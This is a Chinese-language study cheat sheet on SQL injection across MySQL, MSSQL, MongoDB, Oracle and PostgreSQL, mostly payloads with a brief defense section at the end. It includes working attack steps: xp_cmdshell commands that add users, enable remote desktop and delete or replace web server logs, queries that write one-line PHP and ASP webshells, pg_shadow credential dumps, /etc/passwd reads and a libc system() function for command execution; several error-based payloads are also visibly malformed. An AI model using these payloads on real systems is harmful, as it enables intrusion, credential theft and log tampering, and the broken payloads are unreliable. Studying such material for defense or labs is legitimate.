1. SQL注入原理
前端有一个参数用户可控
服务器对该参数没有过滤或过滤不严谨
本质:把用户输入的数据当作代码来执行,违背了“数据与代码分离”的原则
2. SQL注入危害
读取数据库的数据
修改或删除数据
getshell
往服务器读写文件
3. 显错注入
3.1 常用函数
3.1.1 显示信息
1 | user() |
3.1.2 拼接字段
1 | concat() 拼接多个字符串 |
3.1.3 截取字段
1 | mid() 适用于MySQL |
3.1.4 条件判断
1 | if(判断的条件,条件为真返回值,条件为假返回值) |
1 | case when 判断的条件 then 条件为真返回值 else 条件为假返回值 end |
3.1.5 判断字段数
1 | order by |
3.2 数据库的注释
1 | # |
3.3 union 联合查询
联合查询的前后字段数要求相同
1 | select uname,password,gender from users union select 1,2,3; |
3.4 系统数据库
3.4.1 information_schema
mysql版本5.0以上,系统自带。
汇总所有数据库的库名、表名、字段名。
3.4.1.1 columns表
字段名 | 存放数据 |
---|---|
table_schema | 存放所有数据库的库名 |
table_name | 存放所有表名 |
column_name | 存放所有字段名 |
privileges | 存放可操作语句 |
3.4.1.2 tables表
字段名 | 存放数据 |
---|---|
table_schema | 存放所有数据库的库名 |
table_name | 存放所有表名 |
3.4.2 常用查询
3.4.2.1 查询所有数据库的库名
1 | select distinct table_schema from information_schema.columns; |
3.4.2.2 查询数据库中某个数据库中的所有表名
1 | select distinct table_name from information_schema.columns where table_schema='chessur'; |
3.4.2.3 查询数据库中某个数据库中某个表的所有字段名
1 | select distinct column_name from information_schema.columns where table_schema='chessur' and table_name='users'; |
3.5 手工注入流程
3.5.1 Step 1 判断是否有注入
判断从后台数据库中选取的列数,判断哪几列在前端显示
3.5.2 Step 2 收集数据库信息(用户名,版本,当前数据库名)
1 | select version(); |
3.5.3 Step 3 获取当前数据库下的所有表名
1 | select group_concat(distinct table_name) from information_schema.columns where table_schema=database(); |
3.5.4 Step 4 获取当前数据库下指定表中字段名
1 | select group_concat(distinct table_name) from information_schema.columns where table_schema=database() and table_name='users'; |
3.5.5 Step 5 获取字段对应的数据
1 | select group_concat(distinct password) from users; |
3.5.6 Step 6 解密数据
数据库中有些数据会加密存放,所以需要解密。
4. 盲注
因为不能回显错误信息,所以盲注要一个字符一个字符的尝试,通过二分法可以节省很多时间。
4.1 常用函数
4.1.1 显示字段长度
1 | length() |
4.1.2 显示ASCII
1 | ascii() |
4.1.3 截取字段
1 | mid() 适用于MySQL |
4.1.4 等待函数
1 | sleep() |
1 | benchmark() |
4.2 布尔盲注
4.2.1 Step 1 探测注入点
1 | ?id=1' |
根据页面的显示效果判断是否有注入点
4.2.2 Step 2 收集数据信息
收集当前用户名、当前数据库、当前数据库版本
1 | and substr((select version()),1,1)>4 //判断数据库版本是否大于4 |
5.0以上的mysql数据库有information_schema数据库。
4.2.3 Step 3 查询当前数据库中的表名
1 | and ord(substr((select group_concat(distinct table_name)from information_schema.columns where table_schema=database()),1,1))=33 //判断第一个字符 |
1 | and length((select table_name from information_schema.columns where table_schema=database() limt 1,1)) //第一个表名长度 |
4.2.4 Step 4 获取指定表的字段名
1 | and ascii(substr((select distinct column_name from information_schema.columns where table_schema=database() and table_name=users limit 0,1),1,1))=33 //判断第一个字段的第一个字符 |
4.2.5 Step 5 获取字段数据
1 | and ascii(substr((select concat(username,password)from users limit 0,1),1,1))=33 //判断第一个数据的第一个字符 |
4.3 延时注入
无法通过布尔盲注来判断SQL语句是否执行成功时,可以尝试报错延时注入。
延时注入也叫基于时间的盲注。
判断依据:页面加载时间
延时注入使用条件判断语句以及等待函数来判断SQL语句是否执行成功。
4.3.1 延时函数
4.3.1.1 sleep()
1 | sleep(5) //让数据库等待5秒,再返回结果 |
4.3.1.2 benchmark()
1 | benchmark(500000000,md5('abc')) |
4.3.1.3 Heavy Query(笛卡尔积)
有些时候,无法使用延时函数来进行延时注入。这种情况下,最好的选择是使用数据库需要执行很久的sql语句。
1 | SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C |
上面这个语句,在我的数据库中执行了22.15秒
4.3.1.4 get_lock()
锁定一个变量之后,另一个session再次包含这个变量就会产生延迟。
1 | select get_lock(str,timeout); |
先查询
再开一个进行查询
4.3.1.5 正则匹配
正则匹配在匹配较长字符串但自由度比较高的字符串时,会造成比较大的计算量,我们通过rpad
或repeat
构造长字符串,加以计算量大的pattern,通过控制字符串长度我们可以控制延时。
1 | select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b'); |
4.3.2 条件判断
1 | if(判断的条件,条件为真返回值,条件为假返回值) |
1 | case when 判断的条件 then 条件为真返回值 else 条件为假返回值 end |
4.3.3 基本构造
1 | ?id=1' and if(1=1,1,sleep(5)) # |
4.3.4 注入流程
4.3.4.1 Step 1 探测注入点
1 | ?id=1' |
4.3.4.2 Step 2 收集数据信息
1 | ?id=1 and if(substr(version(),1,1)>4,1,sleep(5)) # |
4.3.4.3 Step 3 查询当前数据库中的表名
1 | ?id=1 and if(ord(substr((select table_name from information_schema.columns where table_schema=database() limit 0,1),1,1))=33,1,sleep(5)) |
4.3.4.4 Step 4 查询指定表的字段名
1 | ?id=1 and if(ord(substr((select column_name from information_schema.columns where table_schema=database() and table_name=users limit 0,1),1,1))=33,1,sleep(5)) |
4.3.4.5 Step 5 获取字段数据
1 | and if(ascii(substr((select concat(username,password)from users limit 0,1),1,1))=33,1,sleep(5)) |
4.4 DNSlog在盲注中的使用
4.4.1
5. 报错注入
5.1 extractvalue(参数1,参数2)
从目标XML中返回查询的字符串,参数1是string格式,XML文档名,参数2是XPATH格式,要查询的字符串
1 | and extractvalue(1,concat(0x7e,(select user()),0x7e)) |
5.2 updatexml(参数1,参数2,参数3)
改变文档中符合条件的节点的值,参数1是XML文档,参数2是XPATH格式的字符串,参数3是string格式的替换查找符合条件的数据
1 | and updatexml(1,concat(0x7e,(select user()),0x7e),1) |
前两个报错函数的长度有限制 32位
5.3 floor()
必须和count() rand() group by一起使用才能报错
1 | select * from messages where ID=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a) |
5.3.1 原理
报错原因是主键重复,这个主键是虚拟表的主键。
再进行group by查询过程中,先建立一张虚拟表,一行一行地插入内容,rand()函数也会多次计算,由于floor(rand(0)*2)能产生的值只有0和1,所以在第三次查询的时候就必然产生重复,所以第三次查询时必会报错。
1.查询前默认会建立空虚拟表
2.取第一条记录,执行
floor(rand(0)*2)
,发现结果为0(第一次计算),查询虚拟表,发现0的键值不存在,则floor(rand(0)*2)
会被再计算一次,结果为1(第二次计算),插入虚表,这时第一条记录查询完毕3.查询第二条记录,再次计算
floor(rand(0)*2)
,发现结果为1(第三次计算),查询虚表,发现1的键值存在,所以floor(rand(0)*2)
不会被计算第二次,直接count(*)
加1,第二条记录查询完毕4.查询第三条记录,再次计算
floor(rand(0)*2)
,发现结果为0(第4次计算),查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)*2)
被再次计算,作为虚表的主键,其值为1(第5次计算),然而1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以插入的时候就直接报错了。5.整个查询过程
floor(rand(0)*2)
被计算了5次,查询原数据表3次,所以这就是为什么数据表中需要3条数据,使用该语句才会报错的原因。
5.4 GeometryCollection()
1 | and GeometryCollection((select * from(select * from(select user ())a)b)) |
5.5 NAME_CONST()
1 | and (select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x) |
只能用来暴版本信息
5.6 join
1 | and (select * from(select * from mysql.user a join mysql.user b)c) |
只能用来暴列名,在暴出第一个列名后,在b后加上using(columnname)
可以暴出第二个列名,使用,
分隔,多个列名
1 | and (select * from(select * from mysql.user a join mysql.user b using(Host,User,Password))c) |
5.7 exp()
1 | and exp(~(select * from (select user () ) a) ); |
5.8 polygon()
1 | and polygon (()select * from(select user ())a)b ); |
5.9 multipoint()
1 | and multipoint (()select * from(select user() )a)b ); |
5.10 multlinestring ()
1 | and multlinestring (()select * from(selectuser () )a)b ); |
5.11 multpolygon ()
1 | and multpolygon (()select * from(selectuser () )a)b ); |
5.12 linestring ()
1 | and linestring (()select * from(select user() )a)b ); |
6. 伪静态注入
6.1 伪静态网站
页面展示时html一类的静态页面,但其实使用asp一类的动态脚本来处理的。
6.2 生成伪静态网站
以PHP为例
6.2.1 开启Apache的mod_rewrite
1 | /apache/conf/httpd.conf |
6.2.2 让Apache支持.htacess
1 | /apache/conf/httpd.conf |
6.2.3 建立.htacess文件
在文件中写入
1 | RewriteEngine on |
RewriteRule 实质时正则表达式进行匹配,可以根据自己需求更改
6.3 分辨真/伪静态网站
可以通过查看网页最后修改时间来判断
在地址栏输入
1 | javascript:alert(document.lastModified) |
如果得到的时间和现在时间一致,则为伪静态网站,反之是真静态网站。
6.4 手工注入
6.4.1 判断注入点
1 | ?1'/**/and/**/1=1/*.html |
6.4.2 Tips
伪静态的注入和URL的普通GET注入不太相同。
普通url的get注入的%20,%23,+等都可以用;但是伪静态不行,会被直接传递到到url中,所以用/**/这个注释符号表示空格。
From:伪静态注入的总结
7. 宽字节注入
7.1 原理
数据库中采用GBK编码,并对用户输入的数据进行转义
GBK中汉字占用2个字节
ASCII中汉字占用1个字节
7.2 常见转义函数
1 | addslaches() |
7.2.1 转义
1 | ' ---> \' |
7.3 注入过程
1 | id=1%df' |
7.4 手工注入
和显错注入过程相同
7.5 PDO宽字节注入
7.5.1 条件
1.数据库使用GBK编码
2.使用转义函数,如addslaches()
3.PHP版本<5.3.6 使用PDO连接数据库,没有参数过滤
7.5.2 防御
7.5.2.1 使用mysqli_set_charset() 而不是 set names
mysqli_set_charset()和set names的区别查看深入理解SET NAMES和mysql(i)_set_charset的区别
7.5.2.2 使用mysql_real_escape_string()
mysql_real_escape_string()与addslashes的不同之处在于其会考虑当前设置的字符集,不会出现前面df和5c拼接为一个宽字节的问题,使用mysqli_set_charset进行指定字符集
7.5.2.3 正确使用占位符
确保每一个传入参数都先使用占位符进行代替
7.5.2.4 使用预处理
注意,即使mysql版本支持预处理,某些语句mysql无法支持prepare,那么pdo在处理时还是会使用模拟预处理。这样可能会存在注入的风险。
具体可以查看这篇回答:are-pdo-prepared-statements-sufficient-to-prevent-sql-injection
8. 二次解码注入
8.1 原理
浏览器出去的数据会被进行URL编码,到达服务器之后,默认会被URL解码
mysql_real_escape_string()等转义函数是在urldecode()之前,所以并不能过滤由于urldecode()产生的单引号。
8.2 过程
1 | id=1%25%32%27 |
8.3 防御
8.3.1 预处理
使用PDO的prepare进行预编译处理数据库查询
8.3.2 过滤函数
PHP常使用的过滤函数有addslashes()、mysql_escape_string()、msyql_real_string()、intval()函数等,在程序进行SQL语句运行之前使用。
8.3.3 魔术引号
通常数据污染的方式有两种:一种是应用被动接收参数,类似于GET、POST等;另一种是主动获取参数,类似与读取远程桌面页面或者文件内容等。在PHP中魔术引号配置方法,magic_quotes_gpc负责对GET、POST、COOKIE的值进行过滤,magic_quotes_runtime对数据库或者文件中获取的数据进行过滤。
9. HTTP头部注入
9.1 cookie注入
post和get方式被过滤,只能通过cookie传递数据,刚好服务器没有过滤cookie数据,然后在cookie中添加测试的payload
1 | javascript:alert(document.cookie="id="+escape("25")) |
9.2 XFF注入
1 | python sqlmap.py -u "" --headers="x-forwarded-for:*" -v --batch |
10. 二次注入
二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入
10.1 原理
在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据
10.2 示例
10.2.1 注册脏用户
10.2.2 退出重新登录
10.2.3 留言
1 | ,(select admin_pass from admin limit 0,1),1);# |
10.2.4 二次注入结果
11. MSSQL注入
11.1 注入过程
11.1.1 Step 1:判断注入点
和mysql数据库判断方式相同
1 | and 1=1 |
11.1.2 Step 2:判断数据库类型
1 | select * from sysobjects |
11.1.3 Step 3:注入点权限判断
1 | select IS_SRVROLEMEMBER('sysadmin'); |
11.1.4 Step 4:信息收集
1 | 数据库版本 select @@version |
11.1.5 Step 5:获取当前数据库下的表
1 | select top 1 name from aspcms.sys.all_objects where type='U' AND is_ms_shipped=0 |
11.1.6 Step 6:获取当前数据库下指定表的字段名
1 | 如:AspCms_User |
11.1.7 Step 7:获取字段内容
1 | select top 1 LoginName from AspCms_User |
上面的都是通过类型不匹配,系统强制转换来显示数据
11.2 利用MSSQL扩展存储注入攻击
11.2.1 检测与恢复扩展存储
判断xp_cmdshell扩展存储是否存在
1 | and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' AND name = 'xp_cmdshell') |
判断xp_regread扩展存储过程是否存在
1 | and 1=(select count(*) from master.dbo.sysbojects where name='xp_regread') |
恢复
1 | EXEC sp_configure 'show advanced options',1; |
11.2.2 sa权限下扩展存储攻击利用方法
11.2.2.1.利用xp_cmdshell扩展执行任意命令
11.2.2.1.1 开启xp_cmdshell的方法
1 | sql server20055下开启xp_cmdshell |
11.2.2.1.2 查看C盘
1 | ;drop table black |
11.2.2.1.3 新建用户
1 | ;exec master..xp_cmdshell 'net user test test /add' |
11.2.2.1.4 添加和删除一个SA权限的用户test (需要SA权限)
1 | exec master.dbo.sp_addlogin test,password |
11.2.2.1.5 停掉或激活某个服务 (需要SA权限)
1 | exec master..xp_servicecontrol 'stop','schedule' |
11.2.2.1.6 爆网站目录
1 | create table labeng(lala nvarchar(255),id int) |
11.2.2.1.7 删除日志记录
1 | ;exec master.dbo.xp_cmdshell 'del c:\winnt\system32\logfiles\w3svc5\ex070606.log>c:\temp.txt |
11.2.2.1.8替换日志记录
1 | ;exec master.dbo.xp_cmdshell 'copy c:\winnt\system32\logfiles\w3svc5\ex070404.log c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt' |
11.2.2.1.9 开启远程数据库
1 | ;select * from OPENROWSET('SQLOLEDB','server=servername;uid=sa;pwd=apachy_123','select * from table1') |
11.2.2.1.10 开启远程数据库
1 | ;select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;','select * from table') |
11.2.2.1.11 打开3389
1 | ;exec master..xp_cmdshell 'sc config termservice start=auto' |
11.2.2.1.12 利用sp_makewebtask写入一句话木马
1 | ;exec sp_makewebtask 'c:\inetpub\wwwroot\x.asp','select"%3c%25%65%76%61%6C%20%72%65%71%75%65%73%74%28%22%63%68%6F%70%70%65%72%22%29%25%3E"'-- |
11.2.3 dbowner权限下的扩展攻击利用
11.2.3.1.判断数据库用户权限
1 | and 1=(select is_member('db_owner'));-- |
11.2.3.2.搜索web目录
1 | ;create table temp(dir nvarchar(255),files varchar(255),files varchar(255),ID int NOT NULL IDENTITY(1,1));-- |
11.2.3.3.写入一句话木马
找到web目录后,就可以写入一句话木马了
1 | ;alter database ssdown5 set RECOVERY FULL |
12. Nosql注入
NOSQL(Not Only SQL)
12.1 MongoDB介绍和使用
基于分布式文件存储数据库 使用C++开发,支持跨平台,可以存储任何数据(文件)
允许在服务器端执行脚本,可以用JavaScript编写某些函数
使用Json形式存储数据
支持的编程语言:PHP、Ruby、Python、C++、C#、Java
使用db表示数据库
12.1.1 sql和nosql结构对比
sql | Nosql | 解释/说明 |
---|---|---|
database | database | 数据库 |
table | collection(记录) | 数据库表/集合 |
row | 文件 | 数据记录行/文件 |
column | field | 数据字段域 |
index | index | 索引 |
table join | / | 表连接,MongoDB不支持 |
primary key | primary key | 主键,MongoDB自动将_id字段设置为主键 |
12.1.2 MongoDB使用
12.1.2.1 对数据库的操作
12.1.2.1.1 创建数据库
1 | use databasename |
12.1.2.2 查看当前数据库
1 | db |
12.1.2.3 查看所有数据库
1 | show dbs |
12.1.2.4 删除数据库
1 | db.dropDatabase() |
12.1.2.2 对集合的操作
12.1.2.2.1查看所有集合
1 | show tables; |
12.1.2.2.2 创建集合
1 | db.creatCollection("collectionname") |
12.1.2.2.3 创建集合并插入数据
1 | db.collectionname.insert({key:value,key2:value2}) |
12.1.2.2.4 删除集合
1 | db.collectionname.drop() |
12.1.2.3 对文档的操作
12.1.2.3.1 查询表中所有文档
1 | db.collectionname.find().pretty() |
12.1.2.3.2 更新文档
1 | db.collectionname.update(<query>,<update>) |
12.1.2.3.2.1 更新单条数据
1 | db.collectionname.update({"username":"Windy"},{$set:{"age":18}}) |
12.1.2.3.2.2更新多条数据
1 | db.collectionname.update({"username":"Windy"},{$set:{"age":18}},{multi:true}) |
12.1.2.3.2.3删除数据
1 | db.collectionname.remove() |
12.1.2.4 查询语句
12.1.2.4.1 有条件查询
1 | = {key:value} 寻找key=value的文档 |
1 | db.collectionname.find({key:{&ge:value}}) |
12.1.2.4.2 and条件
1 | db.collectionname.find({key:{$gt:value},key2:{$gt:value}}) |
12.1.2.4.3 or条件
1 | db.collectionname.find($or:[{key:{$gt:value},key:{<:value}}]) |
12.1.2.4.4 正则查询
1 | db.collectionname.find({key:{$regex:"regex"}}) |
12.2 PHP操作Mongodb
mongo(面向过程)
mongodb(面向对象)
12.3 MongoDB 注入
注入类型分类:重言式、联合查询、JavaScript注入
12.3.1 重言式(永真式)
1 | db.users.find({"username":{$ne:"123"},"password":{$ne:"45"}}) |
1 | username[$ne]=love&password[$ne]=love |
12.3.1.1 正则
1 | username[$regex]=^a&password[$regex]=^1 |
12.3.2 联合查询
在PHP新的mongo扩展和mongodb扩展中,已经停止对其支持。
12.3.3 JavaScript注入
1 | function login() |
账号:a' return true; var a='
密码:1
12.3.4 Shell拼接利用
1 | ?username="});db.messages.insert({"name":"wangwu"});db.messages.find({"author":"1 |
1 | db.messages.find({"author":"'.$username.'"}).sort({"addtime":-1}); |
12.4 注入实验
12.4.1 重言式注入
12.4.1.1 代码
1 | <?php |
12.4.1.2 使用BP抓包
12.4.1.3 构造payload
12.4.1.4 注入结果
12.4.2 正则注入
12.4.2.1 代码
1 | <?php |
12.4.2.2 使用BP抓包
12.4.2.3 将拦截到的数据包放到Intruder中
进行暴力破解之后,有3个匹配的结果
12.4.2.4 注入结果
将上面结果中的l
和1
写在Intruder中继续暴破
得到的结果
重复上述步骤可以暴出账户和密码
若碰到没有办法出现正确结果,可以在正则表达式添加$
验证匹配是否结束,还可以尝试在Intruder-Payloads Options中添加新的字符
整个过程可以写python脚本进行,我不会写就不说了
13. Oracle注入
13.1 Oracel数据库介绍
Oracle数据库系统是美国Oracle(甲骨文)提供一款关系型数据库管理系统。航空、物流、银行、铁路、金融交易常用。
特点:
1.支持多用户、大事物量的处理
2.数据安全性和完整性的有效控制
3.支持分布式数据处理
4.移植性强
13.2 判断数据库
13.2.1 判断注入
1 | and 1=1 |
13.2.2 判断Oracle数据库
1 | and exists(select * from dual) |
Oracle 表空间
13.3 判断列
1 | order by |
13.4 联合查询
1 | union select null |
13.5 获取数据类型不匹配的列
在每列上逐个用数字代替,如果返回正常说明该列为数字类型,反之则为非数字类型。
也可以逐个用引号引起来,如:'null',null…from dual
,返回正常说明该列为字符类型,反之为非数字类型。
13.6 获取基本信息
在非数字类型列上获取数据
13.6.1 获取数据库版本
1 | select banner from sys.v_$version where rownum=1 |
13.6.2 获取操作系统版本
1 | select member from v$logfile where rownum=1 |
13.6.3 获取连接数据库的当前用户
1 | select SYS_CONTEXT('USERENV','CURRENT_USER')from dual |
13.6.4 获取数据库
1 | select owner from all_tables where rownum=1 |
13.6.5 获取第一个表
1 | select table_name from user_tables where rownum=1 |
13.6.6 获取第二个表
1 | select table_name from user_tables where rownum=1 and table_name<>'tablename' |
13.6.7 获取表下的第一个列名
1 | select column_name from user_tab_columns where table_name='tablename' and rownum=1 |
13.6.8 获取表下的第二个列名
1 | select column_name from user_tab_columns where table_name='tablename' and rownum=1 and column_name<>'columnname' |
13.6.9 获取数据
1 | select columnname from tablename |
13.6.10 注入特点
判断像access,order by和union select像mysql,爆表名、列名像mssql
13.7 第二种注入方式
13.7.1 判断表是否存在
在URL中加上
1 | and (select count(*) from tablename)<>0 |
若返回正常,说明存在tablename表。如果返回错误,可以更改表名继续猜解。
可以使用字典进行暴破
若
1 | and (select count(*) from admin)=1 |
返回正常说明只有一个管理员
13.7.2 判断表下列名是否存在
1 | and (select count(columnname) from tablename) |
13.7.3 使用ASCII码折半法猜解管理员账户和密码
1 | and (select count(*) from where length(name)=5)=1 |
说明:length()函数用于求字符串的长度,此处猜测用户名的长度和5比较,即猜测是否由5个字符组成
若返回正常,说明长度大于等于5
1 | and (select count(*) from tablename where ascii(substr(name,1,1))=97)=1 |
说明:substr()函数用于截取字符串,ascii()函数用于获取字符的ascii码,此处的意思是截取name字段的第一个字符,获取它的ascii码值,查询ascii码表可知97为字符a
14. Postgresql注入
PostgreSQL是以加州大学伯克利分校计算机系开发的POSTGRES,现在已经更名为PostgreSQL,版本 4.2为基础的对象关系型数据库管理系统(ORDBMS)。PostgreSQL支持大部分 SQL标准并且提供了许多其他现代特性:复杂查询、外键、触发器、视图、事务完整性、MVCC。同样,PostgreSQL 可以用许多方法扩展,比如, 通过增加新的数据类型、函数、操作符、聚集函数、索引。免费使用、修改、和分发 PostgreSQL,不管是私用、商用、还是学术研究使用。
14.1 Postgresql数据库注入常用语法
14.1.1 判断是否为postgresql数据库
1 | ?id=1+and+1::int=1-- |
返回正常则为postgresql数据库
14.1.2 判断数据库版本信息
1 | ?id=1+and+1=cast(version() as int)-- |
14.1.3 判断当前用户
1 | ?id=1 and 1=cast(user||123 as int) |
14.1.4 判断有多少字段
1 | order by |
和Oracle相似,不能用直接用数字
14.1.5 获取当前用户
1 | union select null,null,user |
14.1.6 获取数据库版本信息
1 | union select null,version(),null-- |
14.1.7 获取当前权限
1 | union select null,current_schema(),null |
14.1.8 获取当前数据库名称
1 | union select null,current_database(),null |
14.1.9 获取当前表名
1 | union select null,relname,null from pg_stat_user_tables |
14.1.10 读取每个表的列名
1 | union select null,column_name,null from infromation_schena.columns where table_name='tablename' |
14.1.11 列字段内容
1 | union select null,name||pass,null from admin |
14.1.12 查看postgresql数据库的账号密码
1 | union select null,username||chr(124)||passwd,null from pg_shadow |
14.1.13 创建用户
1 | ;create user username with superuser password 'password' -- |
14.1.14 修改用户密码
1 | ;alter user username with password 'new password' -- |
14.1.15 Postgresql写Shell
1 | ;create table shell(shell text not null); |
另一种方法
1 | ;copy (select '$$<?php @eval($_POST[wind]);?>$$') to 'c/inetpub/wwwroot/mysql-sql/ddd.php' |
读取文件前20行
1 | pg_read_file('/etc/passwd',1,20) |
14.1.16 创建system函数
用于版本大于8的postgreslq数据库
14.1.16.1 创建system函数
1 | create FUNCTION system(cstring) RETURN int AS 'lib/libc.so.6','system' LANGUAGE 'c' STRICT |
14.1.16.2 创建一个输出表
1 | create table stdout(idserial,system_out text) |
14.1.16.3 执行shell,输出到输出表内
1 | select system('uname -a > /tmp/test') |
14.1.16.4 copy输出的内容到表里:
1 | COPY stdout(system_out) FROM '/tmp/test' |
14.1.16.5 从输出表内读取执行后的回显,判断是否执行成功
1 | union all select null,(select stdout from system_out order by id desc),null limit 1 offset 1 -- |
14.1.17 数据库备份还原
14.1.17.1 备份数据库
1 | pg_dump -O -h ip -U postgres dbname > c:\mdb.sql |
14.1.17.2 远程备份数据库备份到本地
1 | pg_dump -O -h 本地IP -U dbowner -w -p port SS > SS.sql |
14.1.17.3 还原数据库
1 | psql -h localhost -U postgres -d dbname |
14.2 注入过程
14.2.1 判断注入
1 | ' 报错 |
14.2.2 获取信息
14.2.2.1 获取数据库版本信息系统信息
1 | and 1=cast(version() as int) |
14.2.2.2 获取当前用户名称
1 | and 1=cast(user||123 as int) |
14.2.2.3 创建表
1 | ;create table tablename(w text not null); |
14.2.2.4 导出一句话
1 | ;copy tablename to $$/var/www/webshell.php$$; |
将一句话保存为webshell.php文件
15. Tips
15.1 判断数字型注入还是字符型注入
1 | ?id=1 and 1=1 # |
15.2 注释
在做sqli-labs-master的时候
有些关可以直接使用#
,有些关要将#进行URL编码写在payload中
有些关可以直接使用--
,有些关要将空格进行URL编码写在payload中
16. 防注入
过滤函数
正则匹配
使用参数化查询
waf
设计验证
17. 参考
[1] Sqli_labs通关文档
[3] 伪静态注入的总结
[4] are-pdo-prepared-statements-sufficient-to-prevent-sql-injection
[5] 深入理解SET NAMES和mysql(i)_set_charset的区别
[6] Time-Based Blind SQL Injection using Heavy Query
[7] mysql 二十余种报错注入姿势
[8] SQL参数化查询